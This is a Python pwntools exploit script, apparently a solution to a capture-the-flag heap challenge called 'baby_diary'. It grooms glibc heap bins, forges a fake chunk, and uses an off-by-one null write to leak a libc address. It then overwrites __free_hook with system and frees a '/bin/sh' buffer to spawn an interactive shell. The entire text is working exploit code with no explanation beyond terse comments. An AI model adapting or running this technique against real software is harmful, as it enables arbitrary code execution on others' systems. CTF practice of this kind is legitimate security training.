from pwn import *
context.log_level = 'debug'

p = process('./baby_diary')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(size,content):
    p.sendlineafter('>>','1')
    p.sendlineafter('size:',str(size-1))
    p.sendafter('content:',content)

def show(index):
    p.sendlineafter('>>','2')
    p.sendlineafter('index:',str(index))

def delete(index):
    p.sendlineafter('>>','3')
    p.sendlineafter('index:',str(index))

#gdb.attach(p)
#18dd

add(0xc08,'p\n')#0 padding

for i in range(7):
    add(0x28,'a\n')#1-7

add(0xd08,'a\n')#8
add(0x28,'b\n')#9 padding

delete(8)#unsortedbin
add(0x1000,'c\n')#8 unsortedbin changed to largebin
add(0x28,b'\x00\x00\x00\x00\x00\x00\x00\x80'+p64(0x601)+b'\n')#10 fake chunk
#b'\x00'*7+b'\x0a'
add(0x28,'\n')#11
add(0x28,'\n')#12
add(0x28,'\n')#13
add(0x28,'z\n')#14

for i in range(1,8):#ignore tcache
    if i == 3:#never ask,answer is tested many times
        continue
    delete(i)

#gdb.attach(p)
#18dd

delete(13)#tcache
delete(11)#fastbin->smallbin
delete(3)#fastbin->smallbin

add(0x400,'h\n')#1 11-3 fastbin changed to smallbin

for i in range(7):#2-7,11 ignore tcache
    add(0x28,'a\n')

#gdb.attach(p)
#18dd

add(0x28,p64(0) + b'\n')#13 fakechunk->fd->bk=fakechunk,11 changed to tcache

for i in range(2,8):#ignore tcache
    delete(i)

delete(12)
delete(10)

for i in range(7):#2-7,10 ignore tcache
    add(0x28,'a\n')

#gdb.attach(p)
#18dd

add(0x28,b'\n')#12 fakechunk->bk->fd=fakechunk


add(0x108,'a\n')#15
add(0x418,'b\n')#16
delete(15)
add(0x108,b'\x00'*0x107)#15
delete(15)
add(0x108,b'\x00'*0xff+b'\x60\n')#15

#gdb.attach(p)
delete(16)#off-by-one

add(0xa8,'\n')#16
show(14)
p.recvuntil('content: ')
main_arena_addr = u64(p.recvn(6).ljust(8,b'\x00')) - 96
libc_offset = main_arena_addr - 0x10 - libc.symbols['__malloc_hook']
system_addr = libc_offset + libc.symbols['system']
free_addr = libc_offset + libc.symbols['__free_hook']

delete(7)
delete(16)
#gdb.attach(p)
add(0xa8,b'\x00'*0x78+p64(0x31)+p64(free_addr)+p64(0)+b'\n')#7
add(0x28,'/bin/sh\n')#16
add(0x28,p64(system_addr)+b'\n')#17 modify free
delete(16)
p.interactive()